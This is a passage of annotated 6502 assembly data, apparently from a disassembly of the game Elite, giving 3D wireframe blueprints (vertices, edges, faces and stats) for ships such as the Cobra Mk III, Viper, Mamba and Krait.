FACE -112, 0, 0, 31 \ Face 3
\ ******************************************************************************
\
\ Name: SHIP_PLATE
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for an alloy plate
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_PLATE
EQUB 0 + (8 << 4) \ Max. canisters on demise = 0
\ Market item when scooped = 8 + 1 = 9 (Alloys)
EQUW 10 * 10 \ Targetable area = 10 * 10
EQUB LO(SHIP_PLATE_EDGES - SHIP_PLATE) \ Edges data offset (low)
EQUB LO(SHIP_PLATE_FACES - SHIP_PLATE) \ Faces data offset (low)
EQUB 17 \ Max. edge count = (17 - 1) / 4 = 4
EQUB 0 \ Gun vertex = 0
EQUB 10 \ Explosion count = 1, as (4 * n) + 6 = 10
EQUB 24 \ Number of vertices = 24 / 6 = 4
EQUB 4 \ Number of edges = 4
EQUW 0 \ Bounty = 0
EQUB 4 \ Number of faces = 4 / 4 = 1
EQUB 5 \ Visibility distance = 5
EQUB 16 \ Max. energy = 16
EQUB 16 \ Max. speed = 16
EQUB HI(SHIP_PLATE_EDGES - SHIP_PLATE) \ Edges data offset (high)
EQUB HI(SHIP_PLATE_FACES - SHIP_PLATE) \ Faces data offset (high)
EQUB 3 \ Normals are scaled by = 2^3 = 8
EQUB %00000000 \ Laser power = 0
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX -15, -22, -9, 15, 15, 15, 15, 31 \ Vertex 0
VERTEX -15, 38, -9, 15, 15, 15, 15, 31 \ Vertex 1
VERTEX 19, 32, 11, 15, 15, 15, 15, 20 \ Vertex 2
VERTEX 10, -46, 6, 15, 15, 15, 15, 20 \ Vertex 3
.SHIP_PLATE_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 15, 15, 31 \ Edge 0
EDGE 1, 2, 15, 15, 16 \ Edge 1
EDGE 2, 3, 15, 15, 20 \ Edge 2
EDGE 3, 0, 15, 15, 16 \ Edge 3
.SHIP_PLATE_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 0, 0, 0 \ Face 0
\ ******************************************************************************
\
\ Name: SHIP_CANISTER
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a cargo canister
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_CANISTER
EQUB 0 \ Max. canisters on demise = 0
EQUW 20 * 20 \ Targetable area = 20 * 20
EQUB LO(SHIP_CANISTER_EDGES - SHIP_CANISTER) \ Edges data offset (low)
EQUB LO(SHIP_CANISTER_FACES - SHIP_CANISTER) \ Faces data offset (low)
EQUB 49 \ Max. edge count = (49 - 1) / 4 = 12
EQUB 0 \ Gun vertex = 0
EQUB 18 \ Explosion count = 3, as (4 * n) + 6 = 18
EQUB 60 \ Number of vertices = 60 / 6 = 10
EQUB 15 \ Number of edges = 15
EQUW 0 \ Bounty = 0
EQUB 28 \ Number of faces = 28 / 4 = 7
EQUB 12 \ Visibility distance = 12
EQUB 17 \ Max. energy = 17
EQUB 15 \ Max. speed = 15
EQUB HI(SHIP_CANISTER_EDGES - SHIP_CANISTER) \ Edges data offset (high)
EQUB HI(SHIP_CANISTER_FACES - SHIP_CANISTER) \ Faces data offset (high)
EQUB 2 \ Normals are scaled by = 2^2 = 4
EQUB %00000000 \ Laser power = 0
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 24, 16, 0, 0, 1, 5, 5, 31 \ Vertex 0
VERTEX 24, 5, 15, 0, 1, 2, 2, 31 \ Vertex 1
VERTEX 24, -13, 9, 0, 2, 3, 3, 31 \ Vertex 2
VERTEX 24, -13, -9, 0, 3, 4, 4, 31 \ Vertex 3
VERTEX 24, 5, -15, 0, 4, 5, 5, 31 \ Vertex 4
VERTEX -24, 16, 0, 1, 5, 6, 6, 31 \ Vertex 5
VERTEX -24, 5, 15, 1, 2, 6, 6, 31 \ Vertex 6
VERTEX -24, -13, 9, 2, 3, 6, 6, 31 \ Vertex 7
VERTEX -24, -13, -9, 3, 4, 6, 6, 31 \ Vertex 8
VERTEX -24, 5, -15, 4, 5, 6, 6, 31 \ Vertex 9
.SHIP_CANISTER_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 0, 1, 31 \ Edge 0
EDGE 1, 2, 0, 2, 31 \ Edge 1
EDGE 2, 3, 0, 3, 31 \ Edge 2
EDGE 3, 4, 0, 4, 31 \ Edge 3
EDGE 0, 4, 0, 5, 31 \ Edge 4
EDGE 0, 5, 1, 5, 31 \ Edge 5
EDGE 1, 6, 1, 2, 31 \ Edge 6
EDGE 2, 7, 2, 3, 31 \ Edge 7
EDGE 3, 8, 3, 4, 31 \ Edge 8
EDGE 4, 9, 4, 5, 31 \ Edge 9
EDGE 5, 6, 1, 6, 31 \ Edge 10
EDGE 6, 7, 2, 6, 31 \ Edge 11
EDGE 7, 8, 3, 6, 31 \ Edge 12
EDGE 8, 9, 4, 6, 31 \ Edge 13
EDGE 9, 5, 5, 6, 31 \ Edge 14
.SHIP_CANISTER_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 96, 0, 0, 31 \ Face 0
FACE 0, 41, 30, 31 \ Face 1
FACE 0, -18, 48, 31 \ Face 2
FACE 0, -51, 0, 31 \ Face 3
FACE 0, -18, -48, 31 \ Face 4
FACE 0, 41, -30, 31 \ Face 5
FACE -96, 0, 0, 31 \ Face 6
\ ******************************************************************************
\
\ Name: SHIP_BOULDER
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a boulder
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_BOULDER
EQUB 0 \ Max. canisters on demise = 0
EQUW 30 * 30 \ Targetable area = 30 * 30
EQUB LO(SHIP_BOULDER_EDGES - SHIP_BOULDER) \ Edges data offset (low)
EQUB LO(SHIP_BOULDER_FACES - SHIP_BOULDER) \ Faces data offset (low)
EQUB 45 \ Max. edge count = (45 - 1) / 4 = 11
EQUB 0 \ Gun vertex = 0
EQUB 14 \ Explosion count = 2, as (4 * n) + 6 = 14
EQUB 42 \ Number of vertices = 42 / 6 = 7
EQUB 15 \ Number of edges = 15
EQUW 1 \ Bounty = 1
EQUB 40 \ Number of faces = 40 / 4 = 10
EQUB 20 \ Visibility distance = 20
EQUB 20 \ Max. energy = 20
EQUB 30 \ Max. speed = 30
EQUB HI(SHIP_BOULDER_EDGES - SHIP_BOULDER) \ Edges data offset (high)
EQUB HI(SHIP_BOULDER_FACES - SHIP_BOULDER) \ Faces data offset (high)
EQUB 2 \ Normals are scaled by = 2^2 = 4
EQUB %00000000 \ Laser power = 0
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX -18, 37, -11, 1, 0, 9, 5, 31 \ Vertex 0
VERTEX 30, 7, 12, 2, 1, 6, 5, 31 \ Vertex 1
VERTEX 28, -7, -12, 3, 2, 7, 6, 31 \ Vertex 2
VERTEX 2, 0, -39, 4, 3, 8, 7, 31 \ Vertex 3
VERTEX -28, 34, -30, 4, 0, 9, 8, 31 \ Vertex 4
VERTEX 5, -10, 13, 15, 15, 15, 15, 31 \ Vertex 5
VERTEX 20, 17, -30, 15, 15, 15, 15, 31 \ Vertex 6
.SHIP_BOULDER_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 5, 1, 31 \ Edge 0
EDGE 1, 2, 6, 2, 31 \ Edge 1
EDGE 2, 3, 7, 3, 31 \ Edge 2
EDGE 3, 4, 8, 4, 31 \ Edge 3
EDGE 4, 0, 9, 0, 31 \ Edge 4
EDGE 0, 5, 1, 0, 31 \ Edge 5
EDGE 1, 5, 2, 1, 31 \ Edge 6
EDGE 2, 5, 3, 2, 31 \ Edge 7
EDGE 3, 5, 4, 3, 31 \ Edge 8
EDGE 4, 5, 4, 0, 31 \ Edge 9
EDGE 0, 6, 9, 5, 31 \ Edge 10
EDGE 1, 6, 6, 5, 31 \ Edge 11
EDGE 2, 6, 7, 6, 31 \ Edge 12
EDGE 3, 6, 8, 7, 31 \ Edge 13
EDGE 4, 6, 9, 8, 31 \ Edge 14
.SHIP_BOULDER_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE -15, -3, 8, 31 \ Face 0
FACE -7, 12, 30, 31 \ Face 1
FACE 32, -47, 24, 31 \ Face 2
FACE -3, -39, -7, 31 \ Face 3
FACE -5, -4, -1, 31 \ Face 4
FACE 49, 84, 8, 31 \ Face 5
FACE 112, 21, -21, 31 \ Face 6
FACE 76, -35, -82, 31 \ Face 7
FACE 22, 56, -137, 31 \ Face 8
FACE 40, 110, -38, 31 \ Face 9
\ ******************************************************************************
\
\ Name: SHIP_COBRA_MK_3
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Cobra Mk III
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_COBRA_MK_3
EQUB 3 \ Max. canisters on demise = 3
EQUW 95 * 95 \ Targetable area = 95 * 95
EQUB LO(SHIP_COBRA_MK_3_EDGES - SHIP_COBRA_MK_3) \ Edges data offset (low)
EQUB LO(SHIP_COBRA_MK_3_FACES - SHIP_COBRA_MK_3) \ Faces data offset (low)
EQUB 153 \ Max. edge count = (153 - 1) / 4 = 38
EQUB 84 \ Gun vertex = 84 / 4 = 21
EQUB 42 \ Explosion count = 9, as (4 * n) + 6 = 42
EQUB 168 \ Number of vertices = 168 / 6 = 28
EQUB 38 \ Number of edges = 38
EQUW 0 \ Bounty = 0
EQUB 52 \ Number of faces = 52 / 4 = 13
EQUB 50 \ Visibility distance = 50
EQUB 150 \ Max. energy = 150
EQUB 28 \ Max. speed = 28
EQUB HI(SHIP_COBRA_MK_3_EDGES - SHIP_COBRA_MK_3) \ Edges data offset (low)
EQUB HI(SHIP_COBRA_MK_3_FACES - SHIP_COBRA_MK_3) \ Faces data offset (low)
EQUB 1 \ Normals are scaled by = 2^1 = 2
EQUB %00010011 \ Laser power = 2
\ Missiles = 3
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 32, 0, 76, 15, 15, 15, 15, 31 \ Vertex 0
VERTEX -32, 0, 76, 15, 15, 15, 15, 31 \ Vertex 1
VERTEX 0, 26, 24, 15, 15, 15, 15, 31 \ Vertex 2
VERTEX -120, -3, -8, 3, 7, 10, 10, 31 \ Vertex 3
VERTEX 120, -3, -8, 4, 8, 12, 12, 31 \ Vertex 4
VERTEX -88, 16, -40, 15, 15, 15, 15, 31 \ Vertex 5
VERTEX 88, 16, -40, 15, 15, 15, 15, 31 \ Vertex 6
VERTEX 128, -8, -40, 8, 9, 12, 12, 31 \ Vertex 7
VERTEX -128, -8, -40, 7, 9, 10, 10, 31 \ Vertex 8
VERTEX 0, 26, -40, 5, 6, 9, 9, 31 \ Vertex 9
VERTEX -32, -24, -40, 9, 10, 11, 11, 31 \ Vertex 10
VERTEX 32, -24, -40, 9, 11, 12, 12, 31 \ Vertex 11
VERTEX -36, 8, -40, 9, 9, 9, 9, 20 \ Vertex 12
VERTEX -8, 12, -40, 9, 9, 9, 9, 20 \ Vertex 13
VERTEX 8, 12, -40, 9, 9, 9, 9, 20 \ Vertex 14
VERTEX 36, 8, -40, 9, 9, 9, 9, 20 \ Vertex 15
VERTEX 36, -12, -40, 9, 9, 9, 9, 20 \ Vertex 16
VERTEX 8, -16, -40, 9, 9, 9, 9, 20 \ Vertex 17
VERTEX -8, -16, -40, 9, 9, 9, 9, 20 \ Vertex 18
VERTEX -36, -12, -40, 9, 9, 9, 9, 20 \ Vertex 19
VERTEX 0, 0, 76, 0, 11, 11, 11, 6 \ Vertex 20
VERTEX 0, 0, 90, 0, 11, 11, 11, 31 \ Vertex 21
VERTEX -80, -6, -40, 9, 9, 9, 9, 8 \ Vertex 22
VERTEX -80, 6, -40, 9, 9, 9, 9, 8 \ Vertex 23
VERTEX -88, 0, -40, 9, 9, 9, 9, 6 \ Vertex 24
VERTEX 80, 6, -40, 9, 9, 9, 9, 8 \ Vertex 25
VERTEX 88, 0, -40, 9, 9, 9, 9, 6 \ Vertex 26
VERTEX 80, -6, -40, 9, 9, 9, 9, 8 \ Vertex 27
.SHIP_COBRA_MK_3_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 0, 11, 31 \ Edge 0
EDGE 0, 4, 4, 12, 31 \ Edge 1
EDGE 1, 3, 3, 10, 31 \ Edge 2
EDGE 3, 8, 7, 10, 31 \ Edge 3
EDGE 4, 7, 8, 12, 31 \ Edge 4
EDGE 6, 7, 8, 9, 31 \ Edge 5
EDGE 6, 9, 6, 9, 31 \ Edge 6
EDGE 5, 9, 5, 9, 31 \ Edge 7
EDGE 5, 8, 7, 9, 31 \ Edge 8
EDGE 2, 5, 1, 5, 31 \ Edge 9
EDGE 2, 6, 2, 6, 31 \ Edge 10
EDGE 3, 5, 3, 7, 31 \ Edge 11
EDGE 4, 6, 4, 8, 31 \ Edge 12
EDGE 1, 2, 0, 1, 31 \ Edge 13
EDGE 0, 2, 0, 2, 31 \ Edge 14
EDGE 8, 10, 9, 10, 31 \ Edge 15
EDGE 10, 11, 9, 11, 31 \ Edge 16
EDGE 7, 11, 9, 12, 31 \ Edge 17
EDGE 1, 10, 10, 11, 31 \ Edge 18
EDGE 0, 11, 11, 12, 31 \ Edge 19
EDGE 1, 5, 1, 3, 29 \ Edge 20
EDGE 0, 6, 2, 4, 29 \ Edge 21
EDGE 20, 21, 0, 11, 6 \ Edge 22
EDGE 12, 13, 9, 9, 20 \ Edge 23
EDGE 18, 19, 9, 9, 20 \ Edge 24
EDGE 14, 15, 9, 9, 20 \ Edge 25
EDGE 16, 17, 9, 9, 20 \ Edge 26
EDGE 15, 16, 9, 9, 19 \ Edge 27
EDGE 14, 17, 9, 9, 17 \ Edge 28
EDGE 13, 18, 9, 9, 19 \ Edge 29
EDGE 12, 19, 9, 9, 19 \ Edge 30
EDGE 2, 9, 5, 6, 30 \ Edge 31
EDGE 22, 24, 9, 9, 6 \ Edge 32
EDGE 23, 24, 9, 9, 6 \ Edge 33
EDGE 22, 23, 9, 9, 8 \ Edge 34
EDGE 25, 26, 9, 9, 6 \ Edge 35
EDGE 26, 27, 9, 9, 6 \ Edge 36
EDGE 25, 27, 9, 9, 8 \ Edge 37
.SHIP_COBRA_MK_3_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 62, 31, 31 \ Face 0
FACE -18, 55, 16, 31 \ Face 1
FACE 18, 55, 16, 31 \ Face 2
FACE -16, 52, 14, 31 \ Face 3
FACE 16, 52, 14, 31 \ Face 4
FACE -14, 47, 0, 31 \ Face 5
FACE 14, 47, 0, 31 \ Face 6
FACE -61, 102, 0, 31 \ Face 7
FACE 61, 102, 0, 31 \ Face 8
FACE 0, 0, -80, 31 \ Face 9
FACE -7, -42, 9, 31 \ Face 10
FACE 0, -30, 6, 31 \ Face 11
FACE 7, -42, 9, 31 \ Face 12
\ ******************************************************************************
\
\ Name: SHIP_VIPER
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Viper
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_VIPER
EQUB 0 \ Max. canisters on demise = 0
EQUW 75 * 75 \ Targetable area = 75 * 75
EQUB LO(SHIP_VIPER_EDGES - SHIP_VIPER) \ Edges data offset (low)
EQUB LO(SHIP_VIPER_FACES - SHIP_VIPER) \ Faces data offset (low)
EQUB 77 \ Max. edge count = (77 - 1) / 4 = 19
EQUB 0 \ Gun vertex = 0
EQUB 42 \ Explosion count = 9, as (4 * n) + 6 = 42
EQUB 90 \ Number of vertices = 90 / 6 = 15
EQUB 20 \ Number of edges = 20
EQUW 0 \ Bounty = 0
EQUB 28 \ Number of faces = 28 / 4 = 7
EQUB 23 \ Visibility distance = 23
EQUB 100 \ Max. energy = 100
EQUB 32 \ Max. speed = 32
EQUB HI(SHIP_VIPER_EDGES - SHIP_VIPER) \ Edges data offset (high)
EQUB HI(SHIP_VIPER_FACES - SHIP_VIPER) \ Faces data offset (high)
EQUB 1 \ Normals are scaled by = 2^1 = 2
EQUB %00010001 \ Laser power = 2
\ Missiles = 1
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 0, 0, 72, 1, 2, 3, 4, 31 \ Vertex 0
VERTEX 0, 16, 24, 0, 1, 2, 2, 30 \ Vertex 1
VERTEX 0, -16, 24, 3, 4, 5, 5, 30 \ Vertex 2
VERTEX 48, 0, -24, 2, 4, 6, 6, 31 \ Vertex 3
VERTEX -48, 0, -24, 1, 3, 6, 6, 31 \ Vertex 4
VERTEX 24, -16, -24, 4, 5, 6, 6, 30 \ Vertex 5
VERTEX -24, -16, -24, 5, 3, 6, 6, 30 \ Vertex 6
VERTEX 24, 16, -24, 0, 2, 6, 6, 31 \ Vertex 7
VERTEX -24, 16, -24, 0, 1, 6, 6, 31 \ Vertex 8
VERTEX -32, 0, -24, 6, 6, 6, 6, 19 \ Vertex 9
VERTEX 32, 0, -24, 6, 6, 6, 6, 19 \ Vertex 10
VERTEX 8, 8, -24, 6, 6, 6, 6, 19 \ Vertex 11
VERTEX -8, 8, -24, 6, 6, 6, 6, 19 \ Vertex 12
VERTEX -8, -8, -24, 6, 6, 6, 6, 18 \ Vertex 13
VERTEX 8, -8, -24, 6, 6, 6, 6, 18 \ Vertex 14
.SHIP_VIPER_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 3, 2, 4, 31 \ Edge 0
EDGE 0, 1, 1, 2, 30 \ Edge 1
EDGE 0, 2, 3, 4, 30 \ Edge 2
EDGE 0, 4, 1, 3, 31 \ Edge 3
EDGE 1, 7, 0, 2, 30 \ Edge 4
EDGE 1, 8, 0, 1, 30 \ Edge 5
EDGE 2, 5, 4, 5, 30 \ Edge 6
EDGE 2, 6, 3, 5, 30 \ Edge 7
EDGE 7, 8, 0, 6, 31 \ Edge 8
EDGE 5, 6, 5, 6, 30 \ Edge 9
EDGE 4, 8, 1, 6, 31 \ Edge 10
EDGE 4, 6, 3, 6, 30 \ Edge 11
EDGE 3, 7, 2, 6, 31 \ Edge 12
EDGE 3, 5, 6, 4, 30 \ Edge 13
EDGE 9, 12, 6, 6, 19 \ Edge 14
EDGE 9, 13, 6, 6, 18 \ Edge 15
EDGE 10, 11, 6, 6, 19 \ Edge 16
EDGE 10, 14, 6, 6, 18 \ Edge 17
EDGE 11, 14, 6, 6, 16 \ Edge 18
EDGE 12, 13, 6, 6, 16 \ Edge 19
.SHIP_VIPER_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 32, 0, 31 \ Face 0
FACE -22, 33, 11, 31 \ Face 1
FACE 22, 33, 11, 31 \ Face 2
FACE -22, -33, 11, 31 \ Face 3
FACE 22, -33, 11, 31 \ Face 4
FACE 0, -32, 0, 31 \ Face 5
FACE 0, 0, -48, 31 \ Face 6
\ ******************************************************************************
\
\ Name: SHIP_MAMBA
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Mamba
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_MAMBA
EQUB 1 \ Max. canisters on demise = 1
EQUW 70 * 70 \ Targetable area = 70 * 70
EQUB LO(SHIP_MAMBA_EDGES - SHIP_MAMBA) \ Edges data offset (low)
EQUB LO(SHIP_MAMBA_FACES - SHIP_MAMBA) \ Faces data offset (low)
EQUB 93 \ Max. edge count = (93 - 1) / 4 = 23
EQUB 0 \ Gun vertex = 0
EQUB 34 \ Explosion count = 7, as (4 * n) + 6 = 34
EQUB 150 \ Number of vertices = 150 / 6 = 25
EQUB 28 \ Number of edges = 28
EQUW 150 \ Bounty = 150
EQUB 20 \ Number of faces = 20 / 4 = 5
EQUB 25 \ Visibility distance = 25
EQUB 90 \ Max. energy = 90
EQUB 30 \ Max. speed = 30
EQUB HI(SHIP_MAMBA_EDGES - SHIP_MAMBA) \ Edges data offset (high)
EQUB HI(SHIP_MAMBA_FACES - SHIP_MAMBA) \ Faces data offset (high)
EQUB 2 \ Normals are scaled by = 2^2 = 4
EQUB %00010010 \ Laser power = 2
\ Missiles = 2
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 0, 0, 64, 0, 1, 2, 3, 31 \ Vertex 0
VERTEX -64, -8, -32, 0, 2, 4, 4, 31 \ Vertex 1
VERTEX -32, 8, -32, 1, 2, 4, 4, 30 \ Vertex 2
VERTEX 32, 8, -32, 1, 3, 4, 4, 30 \ Vertex 3
VERTEX 64, -8, -32, 0, 3, 4, 4, 31 \ Vertex 4
VERTEX -4, 4, 16, 1, 1, 1, 1, 14 \ Vertex 5
VERTEX 4, 4, 16, 1, 1, 1, 1, 14 \ Vertex 6
VERTEX 8, 3, 28, 1, 1, 1, 1, 13 \ Vertex 7
VERTEX -8, 3, 28, 1, 1, 1, 1, 13 \ Vertex 8
VERTEX -20, -4, 16, 0, 0, 0, 0, 20 \ Vertex 9
VERTEX 20, -4, 16, 0, 0, 0, 0, 20 \ Vertex 10
VERTEX -24, -7, -20, 0, 0, 0, 0, 20 \ Vertex 11
VERTEX -16, -7, -20, 0, 0, 0, 0, 16 \ Vertex 12
VERTEX 16, -7, -20, 0, 0, 0, 0, 16 \ Vertex 13
VERTEX 24, -7, -20, 0, 0, 0, 0, 20 \ Vertex 14
VERTEX -8, 4, -32, 4, 4, 4, 4, 13 \ Vertex 15
VERTEX 8, 4, -32, 4, 4, 4, 4, 13 \ Vertex 16
VERTEX 8, -4, -32, 4, 4, 4, 4, 14 \ Vertex 17
VERTEX -8, -4, -32, 4, 4, 4, 4, 14 \ Vertex 18
VERTEX -32, 4, -32, 4, 4, 4, 4, 7 \ Vertex 19
VERTEX 32, 4, -32, 4, 4, 4, 4, 7 \ Vertex 20
VERTEX 36, -4, -32, 4, 4, 4, 4, 7 \ Vertex 21
VERTEX -36, -4, -32, 4, 4, 4, 4, 7 \ Vertex 22
VERTEX -38, 0, -32, 4, 4, 4, 4, 5 \ Vertex 23
VERTEX 38, 0, -32, 4, 4, 4, 4, 5 \ Vertex 24
.SHIP_MAMBA_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 0, 2, 31 \ Edge 0
EDGE 0, 4, 0, 3, 31 \ Edge 1
EDGE 1, 4, 0, 4, 31 \ Edge 2
EDGE 1, 2, 2, 4, 30 \ Edge 3
EDGE 2, 3, 1, 4, 30 \ Edge 4
EDGE 3, 4, 3, 4, 30 \ Edge 5
EDGE 5, 6, 1, 1, 14 \ Edge 6
EDGE 6, 7, 1, 1, 12 \ Edge 7
EDGE 7, 8, 1, 1, 13 \ Edge 8
EDGE 5, 8, 1, 1, 12 \ Edge 9
EDGE 9, 11, 0, 0, 20 \ Edge 10
EDGE 9, 12, 0, 0, 16 \ Edge 11
EDGE 10, 13, 0, 0, 16 \ Edge 12
EDGE 10, 14, 0, 0, 20 \ Edge 13
EDGE 13, 14, 0, 0, 14 \ Edge 14
EDGE 11, 12, 0, 0, 14 \ Edge 15
EDGE 15, 16, 4, 4, 13 \ Edge 16
EDGE 17, 18, 4, 4, 14 \ Edge 17
EDGE 15, 18, 4, 4, 12 \ Edge 18
EDGE 16, 17, 4, 4, 12 \ Edge 19
EDGE 20, 21, 4, 4, 7 \ Edge 20
EDGE 20, 24, 4, 4, 5 \ Edge 21
EDGE 21, 24, 4, 4, 5 \ Edge 22
EDGE 19, 22, 4, 4, 7 \ Edge 23
EDGE 19, 23, 4, 4, 5 \ Edge 24
EDGE 22, 23, 4, 4, 5 \ Edge 25
EDGE 0, 2, 1, 2, 30 \ Edge 26
EDGE 0, 3, 1, 3, 30 \ Edge 27
.SHIP_MAMBA_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, -24, 2, 30 \ Face 0
FACE 0, 24, 2, 30 \ Face 1
FACE -32, 64, 16, 30 \ Face 2
FACE 32, 64, 16, 30 \ Face 3
FACE 0, 0, -127, 30 \ Face 4
\ ******************************************************************************
\
\ Name: SHIP_KRAIT
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Krait
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_KRAIT
EQUB 1 \ Max. canisters on demise = 1
EQUW 60 * 60 \ Targetable area = 60 * 60
EQUB LO(SHIP_KRAIT_EDGES - SHIP_KRAIT) \ Edges data offset (low)
EQUB LO(SHIP_KRAIT_FACES - SHIP_KRAIT) \ Faces data offset (low)
EQUB 85 \ Max. edge count = (85 - 1) / 4 = 21
EQUB 0 \ Gun vertex = 0
EQUB 18 \ Explosion count = 3, as (4 * n) + 6 = 18
EQUB 102 \ Number of vertices = 102 / 6 = 17
EQUB 21 \ Number of edges = 21
EQUW 100 \ Bounty = 100
EQUB 24 \ Number of faces = 24 / 4 = 6
EQUB 25 \ Visibility distance = 25
EQUB 80 \ Max. energy = 80
EQUB 30 \ Max. speed = 30
EQUB HI(SHIP_KRAIT_EDGES - SHIP_KRAIT) \ Edges data offset (high)
EQUB HI(SHIP_KRAIT_FACES - SHIP_KRAIT) \ Faces data offset (high)
EQUB 1 \ Normals are scaled by = 2^1 = 2
EQUB %00010000 \ Laser power = 2
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 0, 0, 96, 1, 0, 3, 2, 31 \ Vertex 0
VERTEX 0, 18, -48, 3, 0, 5, 4, 31 \ Vertex 1
VERTEX 0, -18, -48, 2, 1, 5, 4, 31 \ Vertex 2
VERTEX 90, 0, -3, 1, 0, 4, 4, 31 \ Vertex 3
VERTEX -90, 0, -3, 3, 2, 5, 5, 31 \ Vertex 4
VERTEX 90, 0, 87, 1, 0, 1, 1, 30 \ Vertex 5
VERTEX -90, 0, 87, 3, 2, 3, 3, 30 \ Vertex 6
VERTEX 0, 5, 53, 0, 0, 3, 3, 9 \ Vertex 7
VERTEX 0, 7, 38, 0, 0, 3, 3, 6 \ Vertex 8
VERTEX -18, 7, 19, 3, 3, 3, 3, 9 \ Vertex 9
VERTEX 18, 7, 19, 0, 0, 0, 0, 9 \ Vertex 10
VERTEX 18, 11, -39, 4, 4, 4, 4, 8 \ Vertex 11
VERTEX 18, -11, -39, 4, 4, 4, 4, 8 \ Vertex 12
VERTEX 36, 0, -30, 4, 4, 4, 4, 8 \ Vertex 13
VERTEX -18, 11, -39, 5, 5, 5, 5, 8 \ Vertex 14
VERTEX -18, -11, -39, 5, 5, 5, 5, 8 \ Vertex 15
VERTEX -36, 0, -30, 5, 5, 5, 5, 8 \ Vertex 16
.SHIP_KRAIT_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 3, 0, 31 \ Edge 0
EDGE 0, 2, 2, 1, 31 \ Edge 1
EDGE 0, 3, 1, 0, 31 \ Edge 2
EDGE 0, 4, 3, 2, 31 \ Edge 3
EDGE 1, 4, 5, 3, 31 \ Edge 4
EDGE 4, 2, 5, 2, 31 \ Edge 5
EDGE 2, 3, 4, 1, 31 \ Edge 6
EDGE 3, 1, 4, 0, 31 \ Edge 7
EDGE 3, 5, 1, 0, 30 \ Edge 8
EDGE 4, 6, 3, 2, 30 \ Edge 9
EDGE 1, 2, 5, 4, 8 \ Edge 10
EDGE 7, 10, 0, 0, 9 \ Edge 11
EDGE 8, 10, 0, 0, 6 \ Edge 12
EDGE 7, 9, 3, 3, 9 \ Edge 13
EDGE 8, 9, 3, 3, 6 \ Edge 14
EDGE 11, 13, 4, 4, 8 \ Edge 15
EDGE 13, 12, 4, 4, 8 \ Edge 16
EDGE 12, 11, 4, 4, 7 \ Edge 17
EDGE 14, 15, 5, 5, 7 \ Edge 18
EDGE 15, 16, 5, 5, 8 \ Edge 19
EDGE 16, 14, 5, 5, 8 \ Edge 20
.SHIP_KRAIT_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 3, 24, 3, 31 \ Face 0
FACE 3, -24, 3, 31 \ Face 1
FACE -3, -24, 3, 31 \ Face 2
FACE -3, 24, 3, 31 \ Face 3
FACE 38, 0, -77, 31 \ Face 4
FACE -38, 0, -77, 31 \ Face 5
\ ******************************************************************************
\
\ Name: SHIP_ADDER
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for an Adder
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_ADDER
EQUB 0 \ Max. canisters on demise = 0
EQUW 50 * 50 \ Targetable area = 50 * 50
EQUB LO(SHIP_ADDER_EDGES - SHIP_ADDER) \ Edges data offset (low)
EQUB LO(SHIP_ADDER_FACES - SHIP_ADDER) \ Faces data offset (low)
EQUB 97 \ Max. edge count = (97 - 1) / 4 = 24
EQUB 0 \ Gun vertex = 0
EQUB 22 \ Explosion count = 4, as (4 * n) + 6 = 22
EQUB 108 \ Number of vertices = 108 / 6 = 18
EQUB 29 \ Number of edges = 29
EQUW 40 \ Bounty = 40
EQUB 60 \ Number of faces = 60 / 4 = 15
EQUB 23 \ Visibility distance = 23
EQUB 85 \ Max. energy = 85
EQUB 24 \ Max. speed = 24
EQUB HI(SHIP_ADDER_EDGES - SHIP_ADDER) \ Edges data offset (high)
EQUB HI(SHIP_ADDER_FACES - SHIP_ADDER) \ Faces data offset (high)
EQUB 2 \ Normals are scaled by = 2^2 = 4
EQUB %00010000 \ Laser power = 2
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX -18, 0, 40, 1, 0, 12, 11, 31 \ Vertex 0
VERTEX 18, 0, 40, 1, 0, 3, 2, 31 \ Vertex 1
VERTEX 30, 0, -24, 3, 2, 5, 4, 31 \ Vertex 2
VERTEX 30, 0, -40, 5, 4, 6, 6, 31 \ Vertex 3
VERTEX 18, -7, -40, 6, 5, 14, 7, 31 \ Vertex 4
VERTEX -18, -7, -40, 8, 7, 14, 10, 31 \ Vertex 5
